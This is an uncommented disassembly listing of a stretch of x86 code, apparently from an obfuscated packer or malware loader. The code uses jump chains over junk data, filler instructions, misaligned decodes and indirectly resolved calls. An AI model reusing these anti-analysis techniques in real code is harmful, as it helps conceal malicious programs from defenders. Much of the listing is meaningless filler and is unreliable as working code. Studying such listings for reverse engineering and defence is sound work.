; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 68h
; ---------------------------------------------------------------------------


loc_4077C0:				; CODE XREF: .text:loc_4077D6j
		jmp	short loc_4077F1
; ---------------------------------------------------------------------------
		dw 2681h
		dd 0B2BD1467h, 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh
; ---------------------------------------------------------------------------
		push	edi
		inc	esp


loc_4077D6:				; CODE XREF: .text:loc_4077ABj
		jmp	short loc_4077C0
; ---------------------------------------------------------------------------
		dd 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h, 74478661h, 0E0E3129Dh
		dd 0C3F5E99h
; ---------------------------------------------------------------------------
		push	ebp


loc_4077F1:				; CODE XREF: .text:loc_4077C0j
		mov	eax, ebp
		push	edi
		push	esi
		neg	esi
		inc	esi
		cld
		pop	esi
		pop	edi
		add	eax, [eax+3Ch]
		push	eax
		push	esi
		xor	esi, ebx
		not	esi
		or	esi, 81091Eh
		cmp	edx, esp
		inc	esi
		mov	si, 492Fh
		not	eax
		mov	esi, edi
		xor	esi, edx
		cld
		pop	esi
		pop	eax
		push	241DCh
		push	eax
		push	ecx
		xor	ecx, esp
		repne cld
		pop	ecx
		pop	eax
		pop	edi
		push	ecx
		push	esi
		mov	esi, eax
		xor	ecx, 818C9Ah
		inc	ecx
		cmp	ecx, 80919Ah
		cld
		pop	esi
		pop	ecx
		cmp	edi, 10000001h
		jz	loc_4078FC
		push	edx
		push	edi


loc_40784A:				; CODE XREF: .text:0040788Aj
		dec	edx
		xor	edi, eax
		cmp	al, 0FDh
		mov	edx, ebp
		push	eax
		pop	edi
		stc
		push	esi
		pop	edx
		cmc
		sbb	edx, 808ADAh
		xor	edi, ebx
		test	eax, ebp
		push	esp
		pop	edx
		inc	edi
		cmc
		cld
		pop	edi
		pop	edx
		mov	[eax+78h], edi
		push	ecx
		push	edx
		jz	short loc_407875
		push	ecx
		pop	edx
		xchg	edx, edx
		push	esp
		pop	edx


loc_407875:				; CODE XREF: .text:0040786Dj
		mov	cx, 4BD8h
		mov	edx, ecx
		inc	ecx
		cld
		pop	edx
		pop	ecx
		push	0A4h
		jmp	short loc_4078A0
; ---------------------------------------------------------------------------
		jge	short loc_4078FA
		retn
; ---------------------------------------------------------------------------
		inc	eax
		jns	short loc_40784A
		pop	ds


loc_40788D:				; CODE XREF: .text:loc_4078A0j
		jmp	short loc_4078B7
; ---------------------------------------------------------------------------
		db 6Ch
; ---------------------------------------------------------------------------
		xor	eax, 0B1583BCAh
		xchg	eax, esi
		pop	ss
		add	al, 0EDh
		and	dh, [ebx+0F6EE970h]
		pushf


loc_4078A0:				; CODE XREF: .text:00407884j
		jmp	short loc_40788D
; ---------------------------------------------------------------------------
		dw 7AA5h
		db 2Bh,	88h
; ---------------------------------------------------------------------------


loc_4078A6:				; CODE XREF: .text:loc_4078B7j
		jmp	short loc_4078D6
; ---------------------------------------------------------------------------
		dd 34074621h, 0A0A3D25Dh, 0CCFF1E59h
		db 15h,	2Ah, 1Bh
; ---------------------------------------------------------------------------


loc_4078B7:				; CODE XREF: .text:loc_40788Dj
		jmp	short loc_4078A6
; ---------------------------------------------------------------------------
		db 0B8h, 91h, 0F6h
		db 0F7h, 64h, 0CDh
; ---------------------------------------------------------------------------


loc_4078BF:				; CODE XREF: .text:loc_4078D6j
		jmp	short loc_4078ED
; ---------------------------------------------------------------------------
		db 82h,	93h, 0D0h
		dd 0FCEFCEC9h, 0E80BDA85h, 94E7A601h, 83323Dh
		db 39h,	7Eh
; ---------------------------------------------------------------------------


loc_4078D6:				; CODE XREF: .text:loc_4078A6j
		jmp	short loc_4078BF
; ---------------------------------------------------------------------------
		dd 8AF52CDFh, 567118FBh, 0E2ADC4D7h, 2EA93073h,	3A655CCFh
		db 0EBh
; ---------------------------------------------------------------------------


loc_4078ED:				; CODE XREF: .text:loc_4078BFj
		pop	dword ptr [eax+7Ch]
		push	edx
		push	eax
		not	eax
		mov	edx, 80BB9Ah
		cld


loc_4078FA:				; CODE XREF: .text:00407886j
		pop	eax
		pop	edx


loc_4078FC:				; CODE XREF: .text:00407842j
		push	10000001h
		jmp	short loc_407932
; ---------------------------------------------------------------------------
		pusha
		sbb	esi, ebx


loc_407906:				; CODE XREF: .text:loc_407932j
		jmp	short loc_407949
; ---------------------------------------------------------------------------
		mov	edi, 0DBEAD58Ch
		js	short near ptr dword_407960
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h, 0C1h, 66h
		dd 0F2FD54A7h, 3EF9C043h, 4AB5EC9Fh, 1631D8BBh
		db 97h,	84h
; ---------------------------------------------------------------------------


loc_407932:				; CODE XREF: .text:00407901j
		jmp	short loc_407906
; ---------------------------------------------------------------------------
		db 6Dh,	0A2h, 33h
; ---------------------------------------------------------------------------


loc_407937:				; CODE XREF: .text:loc_407949j
		jmp	short loc_407964
; ---------------------------------------------------------------------------
		db 0F0h, 69h, 0EEh
		dd 0FA251C8Fh, 0C6A108ABh, 52DDB487h
		db 23h
; ---------------------------------------------------------------------------


loc_407949:				; CODE XREF: .text:loc_407906j
		jmp	short loc_407937
; ---------------------------------------------------------------------------
		db 20h
		dd 4C7F9ED9h, 389BAA95h, 0E4777611h, 5013024Dh,	7C6F4E49h
dword_407960	dd 688B5A05h	; ---------------------------------------------------------------------------


loc_407964:				; CODE XREF: .text:loc_407937j
		pop	edi
		jmp	short loc_407990
; ---------------------------------------------------------------------------
		db 80h
		db 0B9h, 0FEh
; ---------------------------------------------------------------------------


loc_40796A:				; CODE XREF: .text:loc_407990j
		jmp	short loc_4079A3
; ---------------------------------------------------------------------------
		dd 0A75AC5Fh, 0D6F1987Bh, 622D4457h, 0AE29B0F3h, 0BAE5DC4Fh
		dd 8661C86Bh, 129D7447h, 5E99E0E3h, 6A550C3Fh
; ---------------------------------------------------------------------------


loc_407990:				; CODE XREF: .text:00407965j
		jmp	short loc_40796A
; ---------------------------------------------------------------------------
		pop	ebx
		clc
		sal	dword ptr [esi], 1
		aaa


loc_407997:				; CODE XREF: .text:loc_4079A3j
		jmp	short loc_4079C6
; ---------------------------------------------------------------------------
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h


loc_4079A3:				; CODE XREF: .text:loc_40796Aj
		jmp	short loc_407997
; ---------------------------------------------------------------------------
		db 1Ah,	4Bh, 28h
		dd 0D427E641h
; ---------------------------------------------------------------------------


loc_4079AC:				; CODE XREF: .text:loc_4079C6j
		jmp	short loc_4079DC
; ---------------------------------------------------------------------------
		jge	short loc_407A22
		retn
; ---------------------------------------------------------------------------
		db 40h,	79h, 0BEh
		dd 0CA356C1Fh, 96B1583Bh, 22ED0417h, 6EE970B3h
		db 0Fh,	9Ch
; ---------------------------------------------------------------------------


loc_4079C6:				; CODE XREF: .text:loc_407997j
		jmp	short loc_4079AC
; ---------------------------------------------------------------------------
		dd 882B7AA5h, 34074621h, 0A0A3D25Dh, 0CCFF1E59h, 0B81B2A15h
; ---------------------------------------------------------------------------


loc_4079DC:				; CODE XREF: .text:loc_4079ACj
		cmp	edi, 10000001h
		jz	loc_407B38
		jmp	short loc_407A13
; ---------------------------------------------------------------------------
		dw 0CD64h
		db 82h
; ---------------------------------------------------------------------------


loc_4079ED:				; CODE XREF: .text:loc_407A13j
		jmp	short loc_407A26
; ---------------------------------------------------------------------------
		db 93h
		dd 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h, 83323D94h, 0DF7E3900h
		dd 0FB8AF52Ch, 0D7567118h, 73E2ADC4h
		db 30h,	0A9h, 2Eh
; ---------------------------------------------------------------------------


loc_407A13:				; CODE XREF: .text:004079E8j
		jmp	short loc_4079ED
; ---------------------------------------------------------------------------
		db 0CFh, 5Ch, 65h
		dd 0E148EB3Ah, 1DF4C706h
		db 92h,	63h
; ---------------------------------------------------------------------------


loc_407A22:				; CODE XREF: .text:004079AEj
		pusha
		sbb	esi, ebx
; ---------------------------------------------------------------------------
		db 0BFh
; ---------------------------------------------------------------------------


loc_407A26:				; CODE XREF: .text:loc_4079EDj
		mov	[eax+88h], edi
		jmp	short loc_407A5A
; ---------------------------------------------------------------------------
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop


loc_407A35:				; CODE XREF: .text:loc_407A5Aj
		jmp	short loc_407A6A
; ---------------------------------------------------------------------------
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h
		dd 69F033A2h
		db 0EEh, 8Fh
; ---------------------------------------------------------------------------


loc_407A5A:				; CODE XREF: .text:00407A2Cj
		jmp	short loc_407A35
; ---------------------------------------------------------------------------
		dd 0ABFA251Ch
		db 8, 0A1h
; ---------------------------------------------------------------------------


loc_407A62:				; CODE XREF: .text:loc_407A6Aj
		jmp	short loc_407A8D
; ---------------------------------------------------------------------------
		dd 0DDB487C6h
		db 52h,	23h
; ---------------------------------------------------------------------------


loc_407A6A:				; CODE XREF: .text:loc_407A35j
		jmp	short loc_407A62
; ---------------------------------------------------------------------------
		dd 7F9ED920h, 9BAA954Ch, 77761138h, 13024DE4h, 6F4E4950h
		dd 8B5A057Ch, 67268168h, 3B2BD14h
		db 80h
; ---------------------------------------------------------------------------


loc_407A8D:				; CODE XREF: .text:loc_407A62j
		push	10000001h
		jmp	short loc_407ABD
; ---------------------------------------------------------------------------
		cwde
		icebp
		setalc


loc_407A97:				; CODE XREF: .text:loc_407ABDj
		jmp	short loc_407AD0
; ---------------------------------------------------------------------------
		db 57h,	44h, 2Dh
		dd 29B0F362h, 0E5DC4FAEh, 61C86BBAh, 9D744786h,	99E0E312h
		dd 550C3F5Eh, 0D1F85B6Ah, 0DA43736h
		db 0C2h
; ---------------------------------------------------------------------------


loc_407ABD:				; CODE XREF: .text:00407A92j
		jmp	short loc_407A97
; ---------------------------------------------------------------------------
		rcl	dword ptr [eax], cl
		or	[esi], ecx
		das


loc_407AC4:				; CODE XREF: .text:loc_407AD0j
		jmp	short loc_407AF3
; ---------------------------------------------------------------------------
		dw 0C53Ch
		dd 41284B1Ah, 7DD427E6h
; ---------------------------------------------------------------------------


loc_407AD0:				; CODE XREF: .text:loc_407A97j
		jmp	short loc_407AC4
; ---------------------------------------------------------------------------
		dw 0C372h
		dd 1FBE7940h, 3BCA356Ch, 1796B158h, 0B322ED04h,	0F6EE970h
; ---------------------------------------------------------------------------
		pushf


loc_407AE9:				; CODE XREF: .text:loc_407AF3j
		jmp	short loc_407B16
; ---------------------------------------------------------------------------
		db 0A5h
		dd 21882B7Ah
		db 46h,	7, 34h
; ---------------------------------------------------------------------------


loc_407AF3:				; CODE XREF: .text:loc_407AC4j
		jmp	short loc_407AE9
; ---------------------------------------------------------------------------
		db 5Dh,	0D2h, 0A3h
		dd 0FF1E59A0h, 1B2A15CCh, 0F7F691B8h, 9382CD64h, 0EFCEC9D0h
		dd 0BDA85FCh, 0E7A601E8h
		db 94h,	3Dh
; ---------------------------------------------------------------------------


loc_407B16:				; CODE XREF: .text:loc_407AE9j
		pop	dword ptr [eax+8Ch]
		push	ecx
		push	ebx
		cmp	dh, ah
		lea	ecx, ds:809FDAh
		adc	ebx, 80885Ah
		dec	ecx
		mov	bx, 4948h
		neg	ecx
		mov	ecx, esi
		cld
		pop	ebx
		pop	ecx


loc_407B38:				; CODE XREF: .text:004079E2j
		push	ebx
		push	edx
		push	ebx
		cmp	edx, 8115DAh
		dec	edx
		cld
		pop	ebx
		pop	edx
		lea	eax, [esp]
		push	eax
		push	ecx
		adc	eax, 808A1Ah
		mov	cx, 48FEh
		cmp	al, 0F2h
		xor	eax, edi
		xchg	eax, eax
		xor	eax, ebp
		test	eax, esp
		inc	eax
		neg	ecx
		xchg	ecx, ecx
		xchg	ecx, eax
		cld
		pop	ecx
		pop	eax
		push	eax
		push	ebx
		push	esi
		cmc
		rol	esi, 3Fh
		dec	esi
		adc	esi, 80999Ah
		xor	esi, eax
		test	eax, edi
		cmp	al, 0E2h
		xchg	esi, esi
		cld
		pop	esi
		pop	ebx
		push	2
		jmp	short loc_407BAF
; ---------------------------------------------------------------------------
		db 0E2h, 73h, 30h
		dd 5CCF2EA9h
; ---------------------------------------------------------------------------


loc_407B8C:				; CODE XREF: .text:loc_407BAFj
		jmp	short loc_407BC0
; ---------------------------------------------------------------------------
		dw 3A65h
; ---------------------------------------------------------------------------
		jmp	short loc_407BDA
; ---------------------------------------------------------------------------
		dw 6E1h
		dd 921DF4C7h, 0DE196063h, 0EAD58CBFh, 0B65178DBh, 428D24B7h
		dd 8E899053h
		db 0AFh, 0BCh, 45h
; ---------------------------------------------------------------------------


loc_407BAF:				; CODE XREF: .text:00407B83j
		jmp	short loc_407B8C
; ---------------------------------------------------------------------------
		db 9Ah,	0CBh, 0A8h
		db 0C1h, 66h, 0A7h
; ---------------------------------------------------------------------------


loc_407BB7:				; CODE XREF: .text:loc_407BC0j
		jmp	short loc_407BE7
; ---------------------------------------------------------------------------
		db 54h,	0FDh, 0F2h
; ---------------------------------------------------------------------------
		inc	ebx
		sar	cl, 3Eh


loc_407BC0:				; CODE XREF: .text:loc_407B8Cj
		jmp	short loc_407BB7
; ---------------------------------------------------------------------------


loc_407BC2:				; CODE XREF: .text:00407C23j
		lahf
		in	al, dx
		mov	ch, 4Ah
; ---------------------------------------------------------------------------
		dw 0D8BBh
; ---------------------------------------------------------------------------


loc_407BC8:				; CODE XREF: .text:loc_407BE7j
		jmp	short loc_407BF7
; ---------------------------------------------------------------------------
		dw 1631h
		dd 0A26D8497h, 0EE69F033h, 0FA251C8Fh
		db 0ABh, 8
; ---------------------------------------------------------------------------


loc_407BDA:				; CODE XREF: .text:00407B90j
		mov	eax, ds:0DDB487C6h
		push	edx
		and	esp, [eax]
; ---------------------------------------------------------------------------
		dw 9ED9h
; ---------------------------------------------------------------------------
		jg	short loc_407C32
		xchg	eax, ebp


loc_407BE7:				; CODE XREF: .text:loc_407BB7j
		jmp	short loc_407BC8
; ---------------------------------------------------------------------------
		db 0AAh, 9Bh, 38h
		dd 0E4777611h, 5013024Dh
		db 49h,	4Eh, 6Fh
; ---------------------------------------------------------------------------


loc_407BF7:				; CODE XREF: .text:loc_407BC8j
		push	400h
		jmp	short loc_407C2A
; ---------------------------------------------------------------------------
		dw 688Bh
; ---------------------------------------------------------------------------
		and	dword ptr [esi], 0B2BD1467h
		add	eax, [eax-53A00147h]


loc_407C0C:				; CODE XREF: .text:00407C4Cj
		jnz	short near ptr loc_407C14+4


loc_407C0E:				; CODE XREF: .text:00407C49j
		jnp	short near ptr dword_407B94+14h
		icebp
		setalc
		push	edi
		inc	esp


loc_407C14:				; CODE XREF: .text:loc_407C0Cj
		sub	eax, 29B0F362h
		scasb
		dec	edi
		fsubr	st(5), st
		mov	edx, 8661C86Bh
		inc	edi
		jz	short loc_407BC2


loc_407C25:				; CODE XREF: .text:loc_407C2Aj
		jmp	short loc_407C51
; ---------------------------------------------------------------------------
		db 12h
		db 0E3h, 0E0h
; ---------------------------------------------------------------------------


loc_407C2A:				; CODE XREF: .text:00407BFCj
		jmp	short loc_407C25
; ---------------------------------------------------------------------------
		dd 0C3F5E99h
		db 55h,	6Ah
; ---------------------------------------------------------------------------


loc_407C32:				; CODE XREF: .text:00407BE4j
		pop	ebx
		clc
		sal	dword ptr [esi], 1
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs
		das
		cmp	al, 0C5h
		sbb	cl, [ebx+28h]
		inc	ecx
		out	27h, al
		aam	7Dh
		jb	short loc_407C0E
		inc	eax
		jns	short loc_407C0C
		pop	ds
		insb
; ---------------------------------------------------------------------------
		db 35h
; ---------------------------------------------------------------------------


loc_407C51:				; CODE XREF: .text:loc_407C25j
		push	ebp
		jmp	short loc_407C7E
; ---------------------------------------------------------------------------
		dd 70B322EDh
		db 0E9h, 6Eh, 0Fh
; ---------------------------------------------------------------------------


loc_407C5B:				; CODE XREF: .text:loc_407C7Ej
		jmp	short loc_407C8E
; ---------------------------------------------------------------------------
		db 9Ch,	0A5h, 7Ah
		dd 4621882Bh, 0D25D3407h, 1E59A0A3h, 2A15CCFFh,	0F691B81Bh
		dd 82CD64F7h, 0CEC9D093h
		db 0EFh, 0FCh
; ---------------------------------------------------------------------------


loc_407C7E:				; CODE XREF: .text:00407C52j
		jmp	short loc_407C5B
; ---------------------------------------------------------------------------


loc_407C80:				; CODE XREF: .text:loc_407C8Ej
		jmp	short loc_407CAC
; ---------------------------------------------------------------------------
		dw 0DA85h
		dd 0A601E80Bh, 323D94E7h
		db 83h,	0
; ---------------------------------------------------------------------------


loc_407C8E:				; CODE XREF: .text:loc_407C5Bj
		jmp	short loc_407C80
; ---------------------------------------------------------------------------
		dd 2CDF7E39h, 18FB8AF5h, 0C4D75671h, 3073E2ADh,	5CCF2EA9h
		dd 48EB3A65h, 0F4C706E1h
; ---------------------------------------------------------------------------


loc_407CAC:				; CODE XREF: .text:loc_407C80j
		push	0A9DE6F5Ah
		push	ecx
		push	edi
		push	ecx
		pop	ecx
		cmp	ebp, eax
		sub	ecx, 80AF1Ah
		std
		cld
		pop	edi
		pop	ecx
		push	esi
		push	ecx
		push	ebx
		push	edi
		pop	ebx
		xor	ebx, edx
		test	ecx, ecx
		push	ebx
		pop	ecx
		not	ecx
		xchg	ebx, ebx
		cmp	al, 0E9h
		dec	ecx
		rcr	ecx, 0ACh
		cmp	ah, cl
		lea	ecx, ds:81199Ah
		dec	ebx
		cld
		pop	ebx
		pop	ecx
		call	near ptr sub_4048A4
		push	edi
		push	ebx
		xor	edi, esp
		not	ebx
		xor	edi, eax
		xor	edi, ebp
		xor	edi, 80CB5Ah
		mov	di, 494Ah
		dec	ebx
		cld
		pop	ebx
		pop	edi
		call	eax
		push	esi
		push	ebx
		test	ecx, ecx
		not	esi
		xor	esi, eax
		lea	esi, ds:80A45Ah
		test	cl, cl
		lea	esi, ds:82925Ah
		push	esi
		pop	esi
		dec	esi
		cld
		pop	ebx
		pop	esi
		add	esp, 4
		jmp	short loc_407D4D
; ---------------------------------------------------------------------------
		and	al, 8Dh
		inc	edx


loc_407D25:				; CODE XREF: .text:loc_407D4Dj
		jmp	short loc_407D60
; ---------------------------------------------------------------------------
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h, 0BB4AB5ECh, 971631D8h
		dd 33A26D84h, 8FEE69F0h
		db 1Ch
; ---------------------------------------------------------------------------


loc_407D4D:				; CODE XREF: .text:00407D20j
		jmp	short loc_407D25
; ---------------------------------------------------------------------------
		db 25h
; ---------------------------------------------------------------------------
		cli
		stosd


loc_407D52:				; CODE XREF: .text:loc_407D60j
		jmp	short loc_407D83
; ---------------------------------------------------------------------------
		dd 87C6A108h, 2352DDB4h, 7F9ED920h
; ---------------------------------------------------------------------------


loc_407D60:				; CODE XREF: .text:loc_407D25j
		jmp	short loc_407D52
; ---------------------------------------------------------------------------
		dw 954Ch
		dd 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh, 81688B5Ah
		dd 0BD146726h, 0B98003B2h
		db 0FEh, 5Fh, 0ACh
; ---------------------------------------------------------------------------


loc_407D83:				; CODE XREF: .text:loc_407D52j
		push	44315FEEh
		jmp	short loc_407DB7
; ---------------------------------------------------------------------------
		dw 0F198h
		dd 2D4457D6h, 29B0F362h, 0E5DC4FAEh, 61C86BBAh,	9D744786h
		dd 99E0E312h, 550C3F5Eh, 0D1F85B6Ah
		db 36h
; ---------------------------------------------------------------------------


loc_407DAD:				; CODE XREF: .text:loc_407DB7j
		jmp	short loc_407DDA
; ---------------------------------------------------------------------------
		aaa
		movsb
		or	eax, 910D3C2h
		push	cs


loc_407DB7:				; CODE XREF: .text:00407D88j
		jmp	short loc_407DAD
; ---------------------------------------------------------------------------
		db 2Fh,	3Ch, 0C5h
		dd 41284B1Ah, 7DD427E6h, 7940C372h, 356C1FBEh, 0B1583BCAh
		dd 0ED041796h, 0E970B322h
		db 6Eh,	0Fh
; ---------------------------------------------------------------------------


loc_407DDA:				; CODE XREF: .text:loc_407DADj
		push	esi
		jmp	short loc_407E09
; ---------------------------------------------------------------------------
		db 7, 34h, 5Dh
		dd 59A0A3D2h
; ---------------------------------------------------------------------------


loc_407DE4:				; CODE XREF: .text:loc_407E09j
		jmp	short loc_407E1C
; ---------------------------------------------------------------------------
		dw 0FF1Eh
		db 0CCh
		db 15h,	2Ah, 1Bh
		dd 0F7F691B8h, 9382CD64h, 0EFCEC9D0h, 0BDA85FCh, 0E7A601E8h
		dd 83323D94h, 0DF7E3900h
		db 2Ch
; ---------------------------------------------------------------------------


loc_407E09:				; CODE XREF: .text:00407DDBj
		jmp	short loc_407DE4
; ---------------------------------------------------------------------------
		db 0F5h
		dd 7118FB8Ah, 0ADC4D756h, 0A93073E2h, 655CCF2Eh
; ---------------------------------------------------------------------------


loc_407E1C:				; CODE XREF: .text:loc_407DE4j
		call	near ptr sub_4048A4
		push	edi
		push	eax
		test	cl, cl
		sub	eax, 80889Ah
		sbb	eax, 84891Ah
		jo	short loc_407E34
		dec	eax


loc_407E34:				; CODE XREF: .text:00407E31j
		or	edi, 80905Ah
		cld
		pop	eax
		pop	edi
		push	eax
		jmp	short loc_407E70
; ---------------------------------------------------------------------------
		dd 0BFDE1960h
		db 8Ch,	0D5h, 0EAh
; ---------------------------------------------------------------------------


loc_407E47:				; CODE XREF: .text:loc_407E70j
		jmp	short loc_407E86
; ---------------------------------------------------------------------------
		fstp	tbyte ptr [eax+51h]
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		dw 0C1A8h
		dd 0FD54A766h, 0F9C043F2h, 0B5EC9F3Eh, 31D8BB4Ah, 6D849716h
; ---------------------------------------------------------------------------


loc_407E70:				; CODE XREF: .text:00407E3Ej
		jmp	short loc_407E47
; ---------------------------------------------------------------------------
		mov	ds:0EE69F033h, al


loc_407E77:				; CODE XREF: .text:loc_407E86j
		jmp	short loc_407EA5
; ---------------------------------------------------------------------------
		db 8Fh,	1Ch, 25h
		dd 0A108ABFAh, 0DDB487C6h
		db 52h,	23h
; ---------------------------------------------------------------------------


loc_407E86:				; CODE XREF: .text:loc_407E47j
		jmp	short loc_407E77
; ---------------------------------------------------------------------------


loc_407E88:				; CODE XREF: .text:loc_407EA5j
		jmp	short loc_407EB5
; ---------------------------------------------------------------------------
		dw 0D920h
		dd 954C7F9Eh, 11389BAAh, 4DE47776h, 49501302h, 57C6F4Eh
		dd 81688B5Ah
		db 26h
; ---------------------------------------------------------------------------


loc_407EA5:				; CODE XREF: .text:loc_407E77j
		jmp	short loc_407E88
; ---------------------------------------------------------------------------
		db 67h
		dd 3B2BD14h, 5FFEB980h,	7B0A75ACh
; ---------------------------------------------------------------------------
		cwde


loc_407EB5:				; CODE XREF: .text:loc_407E88j
		push	eax
		push	ebx
		push	edx
		mov	edx, 808C5Ah
		rol	edx, 0Eh
		rol	ebx, 33h
		xor	ebx, eax
		push	edi
		pop	ebx
		mov	ebx, ebp
		mov	ebx, esi
		test	ecx, ebp
		cmp	cl, al
		cld
		pop	edx
		pop	ebx
		call	eax
		jmp	short loc_407F02
; ---------------------------------------------------------------------------
		dw 29B0h
		dd 0E5DC4FAEh
		db 0BAh
; ---------------------------------------------------------------------------


loc_407EDD:				; CODE XREF: .text:loc_407F02j
		jmp	short loc_407F12
; ---------------------------------------------------------------------------
		db 6Bh
		dd 478661C8h, 0E3129D74h, 3F5E99E0h, 5B6A550Ch,	3736D1F8h
		dd 0D3C20DA4h, 2F0E0910h, 4B1AC53Ch
		db 28h,	41h
; ---------------------------------------------------------------------------


loc_407F02:				; CODE XREF: .text:00407ED4j
		jmp	short loc_407EDD
; ---------------------------------------------------------------------------
		dd 7DD427E6h, 7940C372h, 356C1FBEh
		db 0CAh, 3Bh
; ---------------------------------------------------------------------------


loc_407F12:				; CODE XREF: .text:loc_407EDDj
		dec	esi
		jmp	short loc_407F45
; ---------------------------------------------------------------------------
		db 0EDh, 22h, 0B3h
		dd 0F6EE970h
; ---------------------------------------------------------------------------


loc_407F1C:				; CODE XREF: .text:loc_407F45j
		jmp	short loc_407F5C
; ---------------------------------------------------------------------------
		dw 0A59Ch
		dd 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah
		dd 0CD64F7F6h, 0C9D09382h, 85FCEFCEh, 1E80BDAh
; ---------------------------------------------------------------------------
		cmpsb


loc_407F45:				; CODE XREF: .text:00407F13j
		jmp	short loc_407F1C
; ---------------------------------------------------------------------------
		db 0E7h
		dd 83323D94h
		db 0
; ---------------------------------------------------------------------------


loc_407F4D:				; CODE XREF: .text:loc_407F5Cj
		jmp	short loc_407F7F
; ---------------------------------------------------------------------------
		db 39h
		dd 0F52CDF7Eh, 7118FB8Ah, 0ADC4D756h
; ---------------------------------------------------------------------------


loc_407F5C:				; CODE XREF: .text:loc_407F1Cj
		jmp	short loc_407F4D
; ---------------------------------------------------------------------------
		dw 73E2h
		dd 0CF2EA930h, 0EB3A655Ch, 0C706E148h, 63921DF4h, 0BFDE1960h
		dd 0DBEAD58Ch, 0B7B65178h
		db  24h	; $
		db  8Dh	; 
		db  42h	; B
; ---------------------------------------------------------------------------


loc_407F7F:				; CODE XREF: .text:loc_407F4Dj
		add	esi, eax
		jmp	short loc_407FAE
; ---------------------------------------------------------------------------
		db 8Eh
		db 0AFh, 0BCh
; ---------------------------------------------------------------------------


loc_407F86:				; CODE XREF: .text:loc_407FAEj
		jmp	short loc_407FC1
; ---------------------------------------------------------------------------
		dd 0A8CB9A45h, 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
		dd 84971631h, 0F033A26Dh, 1C8FEE69h, 8ABFA25h
		db 0A1h, 0C6h
; ---------------------------------------------------------------------------


loc_407FAE:				; CODE XREF: .text:00407F81j
		jmp	short loc_407F86
; ---------------------------------------------------------------------------
		dd 52DDB487h, 9ED92023h, 0AA954C7Fh, 7611389Bh
		db 77h
; ---------------------------------------------------------------------------


loc_407FC1:				; CODE XREF: .text:loc_407F86j
		push	4119h
		jmp	short loc_407FF4
; ---------------------------------------------------------------------------
		dd 4E495013h
		db 6Fh,	7Ch, 5
; ---------------------------------------------------------------------------


loc_407FCF:				; CODE XREF: .text:loc_407FF4j
		jmp	short loc_408005
; ---------------------------------------------------------------------------
		db 5Ah,	8Bh, 68h
		dd 14672681h, 8003B2BDh, 0AC5FFEB9h, 987B0A75h,	4457D6F1h
		dd 0B0F3622Dh, 0DC4FAE29h, 0C86BBAE5h
; ---------------------------------------------------------------------------


loc_407FF4:				; CODE XREF: .text:00407FC6j
		jmp	short loc_407FCF
; ---------------------------------------------------------------------------
		dw 8661h
		dd 129D7447h, 5E99E0E3h, 6A550C3Fh
; ---------------------------------------------------------------------------
		pop	ebx


loc_408005:				; CODE XREF: .text:loc_407FCFj
		push	6FAF070Eh
		push	edi
		push	esi
		mov	di, 4948h
		test	cl, cl
		dec	esi
		xor	esi, edx
		lea	esi, ds:80B81Ah
		cld
		pop	esi
		pop	edi
		push	1F000h
		jmp	short loc_408053
; ---------------------------------------------------------------------------
		rcl	dword ptr [eax], cl
		or	[esi], ecx
		das
		cmp	al, 0C5h


loc_40802C:				; CODE XREF: .text:loc_408053j
		jmp	short loc_408068
; ---------------------------------------------------------------------------
		dw 4B1Ah
		dd 27E64128h, 0C3727DD4h, 1FBE7940h, 3BCA356Ch,	1796B158h
		dd 0B322ED04h, 0F6EE970h, 2B7AA59Ch
; ---------------------------------------------------------------------------
		mov	[ecx], ah
		inc	esi


loc_408053:				; CODE XREF: .text:00408023j
		jmp	short loc_40802C
; ---------------------------------------------------------------------------
		db 7, 34h, 5Dh
		dd 59A0A3D2h, 15CCFF1Eh, 91B81B2Ah, 0CD64F7F6h
; ---------------------------------------------------------------------------


loc_408068:				; CODE XREF: .text:loc_40802Cj
		call	near ptr sub_408E23
		jmp	short loc_408099
; ---------------------------------------------------------------------------
		db 0FCh
		dd 0E80BDA85h
		db 1, 0A6h
; ---------------------------------------------------------------------------


loc_408076:				; CODE XREF: .text:loc_408099j
		jmp	short loc_4080A9
; ---------------------------------------------------------------------------
		dd 323D94E7h, 7E390083h, 8AF52CDFh, 567118FBh, 0E2ADC4D7h
		dd 2EA93073h, 3A655CCFh, 6E148EBh
		db 0C7h
; ---------------------------------------------------------------------------


loc_408099:				; CODE XREF: .text:0040806Dj
		jmp	short loc_408076
; ---------------------------------------------------------------------------


loc_40809B:				; CODE XREF: .text:loc_4080A9j
		jmp	short loc_4080CC
; ---------------------------------------------------------------------------
		db 0F4h, 1Dh, 92h
		dd 0DE196063h, 0EAD58CBFh
		db 0DBh
; ---------------------------------------------------------------------------


loc_4080A9:				; CODE XREF: .text:loc_408076j
					; .text:00408110j
		jmp	short loc_40809B
; ---------------------------------------------------------------------------
		js	short loc_4080FE
		mov	dh, 0B7h
		and	al, 8Dh
		inc	edx
		push	ebx
		nop
		mov	[esi-65BA4351h], ecx
		retf
; ---------------------------------------------------------------------------
		db 0A8h
		dd 54A766C1h, 0C043F2FDh, 0EC9F3EF9h, 0D8BB4AB5h
; ---------------------------------------------------------------------------


loc_4080CC:				; CODE XREF: .text:loc_40809Bj
		add	esp, 0Ch
		jmp	short loc_4080FA
; ---------------------------------------------------------------------------
		test	[ebp-5Eh], ch
		xor	esi, eax
		imul	ebp, esi, 0FA251C8Fh
		stosd
		or	[ecx-224B783Ah], ah
		push	edx


